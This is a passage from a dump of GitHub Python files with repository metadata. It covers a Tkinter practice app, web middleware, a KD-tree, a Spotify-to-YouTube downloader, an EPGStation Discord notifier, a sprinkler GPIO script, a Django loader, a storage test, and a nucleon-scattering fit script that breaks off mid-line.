Radiobutton(check, text=\"Первый\", variable = var, value=0)\n\trad1.grid(column = 0, row = 0)\n\trad2 = Radiobutton(check, text=\"Второй\", variable = var, value=1)\n\trad2.grid(column = 1, row = 0)\n\trad3 = Radiobutton(check, text=\"Третий\", variable = var, value=2)\n\trad3.grid(column = 2, row = 0)\n\tbtn1 = Button(check, text=\"Клик\", command=change, bg= \"#ff0000\", fg = \"#fff\")\n\tbtn1.grid(column = 0, row = 1, columnspan = 3,  stick = \"wens\")\n\t\n\t\ndef text():\n\tdef newtext():\n\t\tfile = open(\"text.txt\", \"r\",encoding='utf-8') \n\t\ttxt = Text(text1, width = 50, height = 10, bg = \"#666\", fg = \"#fff\", font=(\"Arial Bold\", 14))\n\t\ttxt.insert(\"1.0\",(file.read()))\n\t\ttxt.pack()\n\tdef exit():\n\t\ttext1.destroy()\t\n\t\n\ttext1 = Tk()\n\ttext1.title(\"Работа с текстом\")\n\ttext1.geometry('560x250')\n\ttext1[\"bg\"] = \"#121212\"\n\tmenu = Menu(text1)\n\tnew_item = Menu(menu)\n\tnew_item.add_command(label = \"Открыть\", command = newtext)\n\tnew_item.add_separator()\n\tnew_item.add_command(label = \"Выход\", command = exit)\n\tmenu.add_cascade(label = \"Файл\", menu=new_item)\n\ttext1.config(menu=menu)\n\ttext1.mainloop()\n \nwindow = Tk()\nwindow.title(\"Якубов Ян Альбертович\")\nwindow.geometry('356x150')\nwindow[\"bg\"] = \"#121212\"\nbtn1 = Button(window, text=\"Калькулятор\", font=(\"Arial Bold\", 12), command=calculator, bg= \"#666\", fg = \"#fff\")\nbtn1.grid(column=0, row=0, padx = 4, pady = 5) \n\nbtn2 = Button(window, text=\"Чекбоксы\", font=(\"Arial Bold\", 12), command = checkbox, bg= \"#666\", fg = \"#fff\")\nbtn2.grid(column=2, row=0, padx = 4, pady = 5)\n\nbtn3 = Button(window, text=\"Работа с текстом\", font=(\"Arial Bold\", 12), command = text, bg= \"#666\", fg = \"#fff\")\nbtn3.grid(column=4, row=0, padx = 4, pady = 5) \n\n\nwindow.mainloop()\n\n","repo_name":"chaililil/Python","sub_path":"Практическая 10/Практика 10.py","file_name":"Практика 10.py","file_ext":"py","file_size_in_byte":5091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5587757534","text":"import textwrap\nimport threading\nimport time\n\nimport api\nimport config\nfrom communication import common\nimport tasks\n\n\nclass LocalCommunication(object):\n    def __init__(self, feedback_queue, file_name):\n        self._feedback_queue = feedback_queue\n\n        with open(file_name, 'r') as f:\n            config_string = f.read()\n\n        new_config = config.string_to_python(config_string)\n        available_tasks = api.get_tasks(False)\n\n        for task in new_config:\n            if task['type'] not in available_tasks:\n                self._feedback_queue.put((common.api_exception_status, 'task ' + task['type'] + ' does not exist in '\n                    'this build'))\n                continue\n\n            try:\n                api.new_task(task)\n            except KeyError as e:\n                self._feedback_queue.put((common.api_exception_status, 'task ' + task['type'] + ' missing required key '\n                    '%s from its configuration' % str(e)))\n            except ValueError as e:\n                self._feedback_queue.put((common.api_exception_status, 'task ' + task['type'] + ' has at least one '\n                    'bad value for a config option:\\n%s' % str(e)))\n\n        thread = threading.Thread(target=self._handle_communication)\n        thread.daemon = True\n        thread.start()\n\n    def _send(self):\n        \"\"\" Write available feedback messages to the console.\n        \"\"\"\n        while not self._feedback_queue.empty():\n            print('=' * 40)\n            task_status, exception = self._feedback_queue.get()\n\n            if exception:\n                print('The following task FAILED an iteration:')\n            else:\n                print('The following task WAS SCHEDULED TO STOP:')\n            print('Type: ' + task_status['type'])\n            print('ID: ' + str(task_status['id']))\n            print('State: ' + task_status['state'])\n            if task_status['status']:\n                print('Status: ' + task_status['status'])\n            if exception:\n                print('Exception: \\n' + textwrap.indent(exception, '    '))\n\n    def _handle_communication(self):\n        \"\"\" Periodically write feedback messages to the console.\n        \"\"\"\n        while True:\n            self._send()\n            time.sleep(6)\n","repo_name":"cmu-sei/usersim","sub_path":"communication/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"42701561017","text":"from contextvars import ContextVar\nfrom typing import Any\n\nfrom sanic import Request, Sanic\n\napp = Sanic.get_app()\n\n\n@app.after_server_start\nasync def setup_request_context(app: Sanic, _) -> None:\n    # 注入 request 值，方便 log 模块登记 request.id 进行链路跟踪\n    app.ctx.request = ContextVar(\"request\")\n\n\n@app.on_request\nasync def attach_request(request: Request) -> None:\n    # 每次请求进来时，注入request对象\n    request.app.ctx.request.set(request)","repo_name":"santilos/ddd-structure","sub_path":"src/myproject/middleware/request_context.py","file_name":"request_context.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26123696275","text":"import spotipy\r\nimport urllib.parse\r\nimport urllib.request\r\nimport re\r\nfrom pytube import YouTube\r\nfrom spotipy.oauth2 import SpotifyClientCredentials\r\n\r\npath = input(\"Enter the path of your file: \") #C:\\Users\\---\\Desktop\\\r\nuri = input(\"Enter the Spotify playlist uri: \") #spotify:playlist:4FroAeQwZrJCYYyJroHd9V\r\nspotify = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials(\r\n    client_id='', client_secret=''))\r\n\r\nsongs = spotify.playlist_items(uri)\r\ntracks = []\r\n\r\nfor i, playlist in enumerate(songs['items']):\r\n    # [[Songs0, Artist0], [Songs1, Artist1]]\r\n    tracks.append([songs['items'][i]['track']['name'], songs['items'][i]['track']['artists'][0]['name']])\r\n\r\nfor song in tracks:\r\n    songToSearch = ' '.join([song[0], song[1]])\r\n    query = urllib.parse.quote(songToSearch)\r\n    url = \"https://www.youtube.com/results?search_query=\" + query\r\n    html = urllib.request.urlopen(url)\r\n    video_links = re.findall(r'watch\\?v=(\\S{11})', html.read().decode())\r\n    YouTube('https://www.youtube.com/watch?v=' + video_links[0]).streams.first().download(path)\r\n","repo_name":"RodrigoLiu1710/SongsDownloader","sub_path":"SongsDownloader.py","file_name":"SongsDownloader.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"30522812071","text":"import heapq\nimport numpy as np\n\n\nclass KDTree:\n    class KDNode:\n        def __init__(self, point, left=None, right=None, split_dim=None):\n            self.point = point\n            self.left = left\n            self.right = right\n            self.splitDim = split_dim\n\n        def __lt__(self, other):\n            for i in range(len(self.point)):\n                if self.point[i] == other.point[i]:\n                    continue\n                return self.point[i] < other.point[i]\n            return self.point[-1] < other.point[-1]\n\n    def __init__(self, points, k=4):\n        self.points = points\n        self.root = None\n        self.K = k\n        self._disMat = None\n        self._build()\n\n    def _distance(self, point1, point2):\n        return np.sum((point2 - point1) ** 2)\n\n    def _build(self, depth=0, leftId=None, rightId=None):\n        if depth == 0:\n            leftId = 0\n            rightId = self.points.shape[0] - 1\n\n        if leftId > rightId: return None\n\n        ndims = self.points.shape[1]\n        splitDim = depth % ndims\n\n        sortedIndexes = np.argsort(self.points[:, splitDim])\n        points = self.points[sortedIndexes]\n\n        mid = (leftId + rightId) // 2\n        median = points[mid]\n\n        left = self._build(depth + 1, leftId, mid - 1)\n        right = self._build(depth + 1, mid + 1, rightId)\n\n        kdn = self.KDNode(median, left, right, splitDim)\n        if depth == 0: self.root = kdn\n        return kdn\n\n\n    def _search(self, node, target, heap):\n        if node is None: return\n        dist = self._distance(node.point, target)\n        heapq.heappush(heap, (-dist, node))\n\n        if len(heap) > self.K: heapq.heappop(heap)\n\n        splitDim = node.splitDim\n        targetVal = target[splitDim]\n        nodeVal = node.point[splitDim]\n\n        if targetVal < nodeVal:\n            self._search(node.left, target, heap)\n            if targetVal + abs(heap[0][0]) >= nodeVal:\n                self._search(node.right, target, heap)\n        else:\n            self._search(node.right, target, heap)\n            if targetVal - abs(heap[0][0]) <= nodeVal:\n                self._search(node.left, target, heap)\n\n    def search_nearest(self, target):\n        heap = []\n        self._search(self.root, target, heap)\n        points = [i.point for _, i in heap]\n        dists = [d for d, _ in heap]\n        return points, dists\n","repo_name":"SP-FA/Integration-of-Radar-and-Vision-for-Water-Surface-Target-Tracking","sub_path":"point_cloud_calibration/model/kdTree.py","file_name":"kdTree.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"23993084460","text":"#!/usr/bin/env python3\n\"\"\"EPGStation notification provider\"\"\"\n\n__author__ = \"Keyfox\"\n__version__ = \"1.0.0\"\n__license__ = \"MIT\"\n\nimport os\nimport argparse\nfrom datetime import datetime, timedelta\nimport functools\nimport json\n\nimport urllib.request\n\n\ndef readable_datetime(dt):\n    return dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\ndef readable_timedelta(td):\n    # is there a smarter way to do this?\n    seconds = int(td.total_seconds())\n    minutes = seconds // 60\n    hours = minutes // 60\n    return f\"{hours}:{minutes % 60:02d}:{seconds % 60:02d}\"\n\n\ndef retrieve_envvars():\n    def get_envvar(key, castfn=None):\n        raw = os.environ.get(key, None)\n\n        if raw is None or raw == \"null\":\n            # what if `null` is actually the value...?\n            return None\n\n        if castfn:\n            return castfn(raw)\n        else:\n            return raw\n\n    def unixtime_str_to_datetime(unixtime_str):\n        # for some reason we have to devide the unixtime by 1000...\n        return datetime.fromtimestamp(int(unixtime_str) // 1000)\n\n    def milliseconds_str_to_timedelta(milliseconds_str):\n        return timedelta(seconds=int(milliseconds_str) // 1000)\n\n    # https://github.com/l3tnun/EPGStation/blob/master/doc/conf-manual.md\n    envvars_castfn = {\n        \"PROGRAMID\": int,\n        \"RECORDEDID\": int,\n        \"CHANNELTYPE\": None,\n        \"CHANNELID\": None,\n        \"CHANNELNAME\": None,\n        \"STARTAT\": unixtime_str_to_datetime,\n        \"ENDAT\": unixtime_str_to_datetime,\n        \"DURATION\": milliseconds_str_to_timedelta,\n        \"NAME\": None,\n        \"DESCRIPTION\": None,\n        \"EXTENDED\": None,\n        \"RECPATH\": None,\n        \"LOGPATH\": None,\n        \"ERROR_CNT\": int,\n        \"DROP_CNT\": int,\n        \"SCRAMBLING_CNT\": int,\n    }\n\n    return {key: get_envvar(key, castfn) for key, castfn in envvars_castfn.items()}\n\n\ndef send_discord_webhook(webhook_url, payload):\n    # requests.post(webhook_url, json=payload)\n\n    body = json.dumps(payload).encode(\"utf-8\")\n    headers = {\n        \"Content-Type\": \"application/json\",\n        # they rejects urllib...\n        \"User-Agent\": \"curl/7.64.1\",\n    }\n\n    req = urllib.request.Request(webhook_url, data=body, method=\"POST\", headers=headers)\n    urllib.request.urlopen(req)\n\n\ndef try_comma_int(number, fallback):\n    if number is None:\n        return fallback\n    return f\"{number:,}\"\n\n\ndef build_payload(message, color=None, envvars=None, artifacts=False):\n    if envvars is None:\n        envvars = retrieve_envvars()\n\n    embed = {\n        \"title\": f\"{message}: {envvars['NAME']}\",\n        \"description\": envvars[\"DESCRIPTION\"],\n        \"fields\": [\n            {\n                \"name\": \"チャンネル\",\n                \"value\": f\"{envvars['CHANNELTYPE']}: {envvars['CHANNELID']} {envvars['CHANNELNAME'] or ''}\",\n            },\n            {\n                \"name\": \"放送時間帯\",\n                \"value\": (\n                    f\"{readable_datetime(envvars['STARTAT'])} ～ {readable_datetime(envvars['ENDAT'])}\\n\"\n                    f\"`Duration` {readable_timedelta(envvars['DURATION'])}\"\n                ),\n            },\n        ],\n    }\n\n    if artifacts:\n        embed[\"fields\"].extend(\n            [\n                {\"name\": \"録画ファイル\", \"value\": f\"```{envvars['RECPATH']}```\"},\n                {\n                    \"name\": \"ログファイル\",\n                    \"value\": envvars[\"LOGPATH\"]\n                    and f\"```{envvars['LOGPATH']}```\"\n                    or \"None\",\n                },\n                {\n                    \"name\": \"エラー/ドロップ/スクランブル\",\n                    \"value\": (\n                        f\"`Error` {try_comma_int(envvars['ERROR_CNT'], 'N/A')}\"\n                        f\"`Drop` {try_comma_int(envvars['DROP_CNT'], 'N/A')}\"\n                        f\"`Scramble` {try_comma_int(envvars['SCRAMBLING_CNT'], 'N/A')}\"\n                    ),\n                },\n            ]\n        )\n    if color is not None:\n        embed[\"color\"] = color\n\n    payload = {\n        \"embeds\": [embed],\n    }\n\n    return payload\n\n\nnotifiers = []\n\n\ndef notifier(fn):\n    @functools.wraps(fn)\n    def wrapper(args):\n        payload = fn(args)\n        if payload is None:\n            # Send nothing\n            return\n        webhook_url = args.config[\"webhook_url\"]\n        send_discord_webhook(webhook_url, payload)\n\n    notifiers.append((fn.__name__, wrapper))\n    return wrapper\n\n\n@notifier\ndef reserve_new_addition(args):\n    return build_payload(\":bell: 録画予約追加\")\n\n\n@notifier\ndef reserve_update(args):\n    return build_payload(\":bell: 録画予約更新\")\n\n\n@notifier\ndef reserve_deleted(args):\n    envvars = retrieve_envvars()\n    reservation_end = envvars.get(\"ENDAT\", None)\n    if reservation_end is not None:\n        current_time = datetime.now()\n        if reservation_end <= current_time:\n            # do nothing\n            return None\n    return build_payload(\":no_bell: 録画予約削除\")\n\n\n@notifier\ndef recording_pre_start(args):\n    return build_payload(\":movie_camera: 録画準備開始\", color=0xFFFFCC)\n\n\n@notifier\ndef recording_prep_rec_failed(args):\n    return build_payload(\":no_entry: 録画準備失敗\", color=0xFF0000)\n\n\n@notifier\ndef recording_start(args):\n    return build_payload(\":record_button: 録画開始\", artifacts=False, color=0xFFFFCC)\n\n\n@notifier\ndef recording_finish(args):\n    envvars = retrieve_envvars()\n    error_count = envvars.get(\"ERROR_CNT\", 0)\n    drop_count = envvars.get(\"DROP_CNT\", 0)\n    scrambling_count = envvars.get(\"SCRAMBLING_COUNT\", 0)\n    disrupted = (error_count + drop_count + scrambling_count) > 0\n    color = 0xFF9900 if disrupted else 0x00FF00\n    return build_payload(\":stop_button: 録画終了\", artifacts=True, color=color)\n\n\n@notifier\ndef recording_failed(args):\n    return build_payload(\":no_entry: 録画失敗\", artifacts=True, color=0xFF0000)\n\n\ndef load_json_file(filepath):\n    try:\n        with open(filepath, \"r\") as f:\n            loaded = json.load(f)\n    except Exception as ex:\n        raise ValueError from ex\n    return loaded\n\n\nif __name__ == \"__main__\":\n    \"\"\" This is executed when run from the command line \"\"\"\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        \"--version\",\n        action=\"version\",\n        version=\"%(prog)s (version {version})\".format(version=__version__),\n    )\n    parser.add_argument(\"--config\", default=\"./config.json\", type=load_json_file)\n\n    subparsers = parser.add_subparsers(dest=\"cmd\", required=True)\n    for (name, fn) in notifiers:\n        p = subparsers.add_parser(name)\n        p.set_defaults(func=fn)\n\n    args = parser.parse_args()\n    args.func(args)\n","repo_name":"keyfox/epgstation-discord-notification","sub_path":"epgstation.py","file_name":"epgstation.py","file_ext":"py","file_size_in_byte":6632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15384608416","text":"import sys  #get variables from command line\nimport RPi.GPIO as GPIO # Import Raspberry Pi GPIO libary\nfrom time import sleep # Import the sleep function from the time module\n\nGPIO.setwarnings(False) # Ignore warning for now\nGPIO.setmode(GPIO.BOARD) # Use physical pin numbering\n\n#Syntax for 9 zones pointing to the pins below\n#python3 runSprinklers.py X X X X X X X X X\n#select pins for sprinkler terminals\npins = [26,24,21,19,11,15,16,18,22]\n\n# Set pins to be an output pin and set initial value to low (off)\nfor pin in pins:\n GPIO.setup(pin, GPIO.OUT, initial=GPIO.LOW)\n\ndef runZone ( zone, time ):\n GPIO.output(zone, GPIO.HIGH) # Turn on\n sleep(time) # Sleep for arg passed in seconds\n GPIO.output(zone, GPIO.LOW) # Turn off\n sleep(1)\n\nnodes = len(pins)\n#argPassed = format(len(sys.argv))\n#if int(argPassed) == int(nodes+1):\ncount = 0\nwhile (count < nodes):\n current = pins[count]\n count += 1\n time = int(sys.argv[count])\n if time == 0:\n  print ('Zone '+str(count)+' not run')\n else:\n  print ('Zone '+str(count)+' run '+str(time)+' seconds')\n  runZone ( current, time )\n#else:\n# print ('Number of nodes doesn''t match arguments. Passed: '+str(argPassed)+ ' need: '+str(nodes))\n","repo_name":"sleeps5/diySprinklerPi","sub_path":"runSprinklers.py","file_name":"runSprinklers.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32261628100","text":"import os\nimport json\n\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\n\nfrom schools.models import School\n\n\nSCHOOL_DATA_DIR = os.path.join(settings.BASE_DIR, 'schools', 'data')\n\nSCHOOL_DATA_FILES = [\n    (School.ELEMENTARY_SCHOOL, os.path.join(SCHOOL_DATA_DIR, 'grundschule.geo.json')),\n    (School.GRAMMAR_SCHOOL, os.path.join(SCHOOL_DATA_DIR, 'gymnasium.geo.json'))\n]\n\n\nclass Command(BaseCommand):\n    help = 'Parses the geo json files, located in schools/data/'\n\n    def handle(self, *args, **options):\n        for school_type, json_file in SCHOOL_DATA_FILES:\n            with open(json_file) as f:\n                data = json.loads(f.read())\n                for school_information in data['features']:\n                    name = school_information['properties']['name']\n                    school_info, adress_info = school_information['properties']['popupContent'].split('<br />')\n                    post_code = adress_info.split(' ')[-2]\n                    street = ' '.join(adress_info.split(' ')[:-2])\n                    town = adress_info.split(' ')[-1]\n                    latitude = school_information[\"geometry\"][\"coordinates\"][1]\n                    longitude = school_information[\"geometry\"][\"coordinates\"][0]\n                    obj, created = School.objects.get_or_create(\n                        name=name,\n                        post_code=post_code,\n                        street=street,\n                        town=town,\n                        school_type=school_type,\n                        latitude=latitude,\n                        longitude=longitude\n                    )\n                    if created:\n                        self.stdout.write('Created School %s' % name)\n","repo_name":"CodeforLeipzig/kidsle","sub_path":"project/schools/management/commands/load_school_data.py","file_name":"load_school_data.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"33959967668","text":"import tempfile\nimport unittest\n\nclass TestFileSystemStorage(unittest.TestCase):\n\n    def test_fs(self):\n        from vtr_storages.storages.filesystem import Storage\n\n        location = tempfile.mkdtemp()\n        s = Storage(location=location)\n\n        name = s.save('jopa', 'test')\n        self.assertEqual(s.open(name).read(), 'test')\n\n        self.assertEqual(s.size(name), 4)\n\n        self.assertTrue(s.exists(name))\n\n        s.delete(name)\n\n        self.assertFalse(s.exists(name))\n\n        import errno\n        def remove(name):\n            er = OSError()\n            er.errno = errno.ENOENT\n            raise er\n\n        import os\n        os.remove = remove\n        name = s.save(name, 'test')\n        s.delete(name)\n\n        reload(os)\n\n        s.delete(name)\n        self.assertFalse(s.exists(name))\n\n        s.save('test/test.txt', '')\n        s.save(name, 'test')\n        dirs = s.listdir('')\n        self.assertEqual(dirs, (['test'], [name]))\n\n        s.save('text.txt', 'old')\n        name = s.save('text.txt', 'new')\n        self.assertNotEqual('text.txt', name)\n\n        name = s.save('text.txt', 'new', rewrite=True)\n        self.assertEqual(name, 'text.txt')\n\n        s.accessed_time(name)\n        s.modified_time(name)\n        s.created_time(name)\n\n\n        storage = s\n        storage.save('compare1', 'compare')\n        storage.save('compare2', 'compare')\n        storage.save('compare3', 'compare_')\n        storage.save('compare4', 'compare')\n\n        self.assertFalse(storage.compare('compare1', 'compare2', 'compare3', 'compare4'))\n        self.assertTrue(storage.compare('compare1'))\n        self.assertTrue(storage.compare('compare1', 'compare2', 'compare4'))\n        self.assertTrue(storage.compare('compare3', 'compare3'))\n        self.assertFalse(storage.compare('compare1', 'compare3'))\n        self.assertTrue(storage.compare())\n\n        storage.save('unicode', u'compare')\n\n        self.assertEqual(storage.path(), location)\n\n        storage.save('new/1', '1')\n        storage.save('new/2', '2')\n        storage.save('new/3', '3')\n\n        files = storage.listdir('new')[1]\n        files.sort()\n        self.assertEqual(files, ['1', '2', '3'])\n        self.assertEqual(list(storage.path('new/1', 'new/2', 'new/3')), [os.path.join(location, 'new/1'), os.path.join(location, 'new/2'), os.path.join(location, 'new/3')])\n","repo_name":"viatoriche/vtr_storages","sub_path":"vtr_storages/storages/filesystem/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26504788656","text":"import json\r\nimport sys\r\nimport BMat\r\nimport gvar as gv\r\nimport numpy as np\r\nimport lsqfit\r\nimport matplotlib.pyplot as plt\r\n\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\nBMat_path = '/Users/wayne.lee/repos/pythib'\r\nsys.path.append(BMat_path)\r\n\r\n\r\ndef run_from_ipython():\r\n    try:\r\n        __IPYTHON__\r\n        return True\r\n    except NameError:\r\n        return False\r\n\r\n\r\n# read a data file with correlated normal distributed energy levels\r\n# (the x-variables)\r\nfit_results = gv.load('result/posterior_singlet_t05_td10'\r\n                      '_N_n2_t_5_20_R_n2_t_5_15_ratio_True.pickle')\r\nmpi = gv.gvar('0.310811(85)')\r\nvs_mpi = True  # this controls a \"scaling\" of the x-variable\r\nL = 48\r\nn_bs = 1000\r\nsvd_cut = 1.e-10\r\n\r\nmomRay = {0: 'ar', 1: 'oa', 2: 'pd', 3: 'cd', 4: 'oa'}\r\n\r\nirreps_clrs = {\r\n    'T1g': 'k', 'A2': 'b', 'E': 'r', 'B1': 'g', 'B2': 'magenta',\r\n    'A1g': 'k', 'A1': 'b',\r\n}\r\n\r\nlevel_mrkr = {0: 's', 1: 'o',\r\n              2: 'd', 3: 'p',\r\n              4: 'h', 5: '8',\r\n              6: 'v'}\r\n\r\nmN = fit_results[((('0', 'T1g', 0), 'N', '0'), 'e0')]\r\nnn_str = 'deuteron'\r\n\r\n''' Functions needed for BMat to work '''\r\ndef isZero(JtimesTwo, Lp, SptimesTwo, chanp, L, StimesTwo, chan):\r\n    return not (JtimesTwo==2\r\n            and Lp==0 and L==0\r\n            and chanp==0 and chan==0\r\n            and SptimesTwo==2 and StimesTwo==2)\r\n\r\ndef calcFunc(self, JtimesTwo, Lp, SptimesTwo, chanp, L, StimesTwo, chan, Ecm_over_mref, pSqFuncList):\r\n        return 0.\r\nKinv = BMat.KMatrix(calcFunc, isZero)\r\nchanList = [BMat.DecayChannelInfo('n','n',1,1,True,True),]\r\n''' ================================  '''\r\n\r\ndef make_bs(m_N,e_NN,n=100):\r\n    ''' re-sample the normal distributed energies (m_N and e_NN)\r\n        to create bootstrap samples\r\n    '''\r\n    d_dict = dict()\r\n    d_dict['m_n']   = m_N\r\n    d_dict['e_nn'] = e_NN\r\n    bs_list = list(gv.bootstrap_iter(d_dict, n=n))\r\n    return bs_list\r\n\r\ndef qcotd_gv(boxQ, x):\r\n    ''' Create a gvar instance of the transformed x-variable if x is a gvar\r\n        else, create a real if x is a float/real/complex\r\n    '''\r\n    if isinstance(x, gv.GVar):\r\n        stepsize = 1e-14\r\n        f    = boxQ.getBoxMatrixFromElab(x.mean)\r\n        dfdx = 0.5*(boxQ.getBoxMatrixFromElab(x.mean + stepsize) - boxQ.getBoxMatrixFromElab(x.mean - stepsize)) / stepsize\r\n        return gv.gvar_function(x, f.real, dfdx.real)\r\n    else:\r\n        return boxQ.getBoxMatrixFromElab(x).real\r\n\r\nplt.ion()\r\nplt.figure('qcotd',figsize=(7,4))\r\nax = plt.axes([0.12,0.12,0.87,0.87])\r\n\r\n# prepare a master dictionary that will store correlate x-variables\r\nall_data = dict()\r\nall_data['m_n'] = mN\r\nall_qcotd = dict()\r\nall_qsq   = dict()\r\n\r\nexcluded = []\r\ncut_data = []\r\n#cut_data = [(('1', 'A2', 1), 'R', ('1', '2'))]\r\n\r\ninclude_data = [\r\n    (('0', 'T1g', 0), 'R', ('0', '0')), (('0', 'T1g', 1), 'R', ('1', '1')),\r\n    (('1', 'A2', 0), 'R', ('0', '1')),  (('1', 'A2', 1), 'R', ('1', '2')),\r\n    (('1', 'E', 0), 'R', ('0', '1')),   (('1', 'E', 1), 'R', ('1', '2')),\r\n    (('4', 'E', 0), 'R', ('1', '1')),   (('4', 'E', 1), 'R', ('0', '4')),\r\n    (('2', 'A2', 0), 'R', ('1', '1')),  (('4', 'A2', 0), 'R', ('1', '1')),\r\n    (('4', 'A2', 1), 'R', ('0', '4')),  (('2', 'B1', 0), 'R', ('1', '1')),\r\n    (('2', 'B2', 0), 'R', ('1', '1')),  (('2', 'B2', 3), 'R', ('1', '3')),\r\n    (('3', 'A2', 0), 'R', ('0', '3')),  (('3', 'E', 0), 'R', ('0', '3')),\r\n]\r\n\r\n# read data from pickle file\r\nprint('%78s        %s        %s' %('parent-x','x', 'y'))\r\nprint('==========================================================================================================')\r\nfor k in fit_results:\r\n    if not (k[1] == 'e0' and k[0] in include_data and k[0] not in cut_data):\r\n        continue\r\n    # process to get the x-variable\r\n    Psq, irrep, n = k[0][0]\r\n    Psq = int(Psq)\r\n    de_nn = fit_results[k]\r\n    s1,s2 = k[0][2]\r\n    st1 = ((k[0][0], 'N', s1), 'e0')\r\n    st2 = ((k[0][0], 'N', s2), 'e0')\r\n    en1 = fit_results[st1]\r\n    en2 = fit_results[st2]\r\n    e_nn = de_nn + en1 + en2\r\n    E_cmSq = e_nn**2 - Psq*(2*np.pi/L)**2\r\n    # our x-variable\r\n    qsq = E_cmSq / 4 - mN**2\r\n\r\n    # make the y-variable\r\n    boxQ = BMat.BoxQuantization(momRay[Psq], Psq, irrep, chanList, [0,], Kinv, True)\r\n    boxQ.setRefMassL(mN.mean*L)\r\n    boxQ.setMassesOverRef(0, 1, 1)\r\n    qcotd = boxQ.getBoxMatrixFromElab(e_nn.mean / mN.mean)\r\n\r\n    # make a BS distribution of the mass and two-particle energy and y-variable\r\n    # as well as the x-variable\r\n    bs_vals = make_bs(mN, e_nn, n=n_bs)\r\n    qsq_qcotd_bs = np.zeros([len(bs_vals),3])\r\n    boxQ_bs = BMat.BoxQuantization(momRay[Psq], Psq, irrep, chanList, [0,], Kinv, True)\r\n    boxQ_bs.setMassesOverRef(0,1,1)\r\n    for bs in range(len(bs_vals)):\r\n        mN_bs   = bs_vals[bs]['m_n']\r\n        e_nn_bs = bs_vals[bs]['e_nn']\r\n        boxQ_bs.setRefMassL(mN_bs.mean*L)\r\n        E_cmSq_bs = e_nn_bs**2 - Psq*(2*np.pi/L)**2\r\n        qsq_bs    = E_cmSq_bs/4 - mN_bs**2\r\n        qsq_qcotd_bs[bs,0] = qsq_bs.mean / (mN_bs**2).mean\r\n        qsq_qcotd_bs[bs,1] = boxQ_bs.getBoxMatrixFromElab(e_nn_bs.mean / mN_bs.mean).real\r\n \r\n    qsq_qcotd_bs = qsq_qcotd_bs[qsq_qcotd_bs[:,1].argsort()]\r\n\r\n    # x BS\r\n    qsq_bs   = qsq_qcotd_bs[:,0]# - qsq_qcotd_bs[:,0].mean() + qsq.mean/mN.mean**2\r\n    # y BS\r\n    qcotd_bs = qsq_qcotd_bs[:,1]# - qsq_qcotd_bs[:,1].mean() + qcotd.real\r\n\r\n    # plot the inner 68% interval\r\n    i_16 = int(n_bs/100*16)\r\n    i_84 = int(n_bs/100*84)\r\n    clr = irreps_clrs[irrep]\r\n    mkr = level_mrkr[Psq]\r\n    if vs_mpi:\r\n        ax.plot(qsq_bs[i_16:i_84]*(mN**2/mpi**2).mean, qcotd_bs[i_16:i_84]*(mN/mpi).mean,\r\n            linestyle='None', color=clr, mfc='None', marker='.', alpha=0.1)\r\n    else:\r\n        ax.plot(qsq_bs[i_16:i_84], qcotd_bs[i_16:i_84],\r\n            linestyle='None', color=clr, mfc='None', marker='.', alpha=0.1)\r\n\r\n    # Plot the mean value of x,y pairs\r\n    if n == 0:\r\n        lbl = r'${\\rm %s}(P_{\\rm  tot}^2 = %d)$' %(irrep,Psq)\r\n    else:\r\n        lbl = ''\r\n    if vs_mpi:\r\n        ax.plot(qsq.mean/mpi.mean**2, qcotd*(mN/mpi).mean, linestyle='None',\r\n            color=clr, marker=mkr, label=lbl)\r\n    else:\r\n        ax.plot(qsq.mean/mN.mean**2, qcotd, linestyle='None',\r\n            color=clr, marker=mkr, label=lbl)\r\n\r\n    all_qcotd[k] = qcotd_gv(boxQ, e_nn / mN)\r\n    all_qsq[k]   = qsq/mN**2\r\n    if vs_mpi:\r\n        qsq_m   = qsq / mpi**2\r\n        qcotd_m = all_qcotd[k] *mN / mpi\r\n    else:\r\n        qsq_m = qsq / mN**2\r\n        qcotd_m = all_qcotd[k]\r\n    print('%d& %3s& %s& %s& %s& %s& %s& %s& %s& %s& %s& %s\\\\\\\\' \\\r\n        %(Psq, irrep, n, s1, en1, s2, en2, de_nn, e_nn, np.sqrt(E_cmSq), qsq_m, qcotd_m))\r\n\r\n    # put parent x-variable into dictionary\r\n    all_data[k] = e_nn\r\n\r\n#print(all_data)\r\n\r\n# Using correlated parent-x variables, create BS distribution of them for different data sets\r\nall_data_bs = list(gv.bootstrap_iter(all_data, n=n_bs))\r\n\r\n# create container for x-variable for plotting\r\nqsqmn_range = np.arange(-0.04, 0.501,.001)\r\nqsqmn_plot = {k:k for k in qsqmn_range}\r\n\r\n# create dictionaries to hold mean and BS results\r\nqcotd_vals_0  = dict()\r\nqsq_result_0  = dict()\r\nqcotd_vals_bs = dict()\r\nqsq_result_bs = dict()\r\nfor k in all_data_bs[0]:\r\n    if k != 'm_n':\r\n        x = []\r\n        y = []\r\n        for bs in range(n_bs):\r\n            # create x-variable from parent x-variable\r\n            m_n = all_data_bs[bs]['m_n']\r\n            Psq, irrep, n = k[0][0]\r\n            Psq = int(Psq)\r\n            e_nn   = all_data_bs[bs][k]\r\n            E_cmSq = e_nn**2 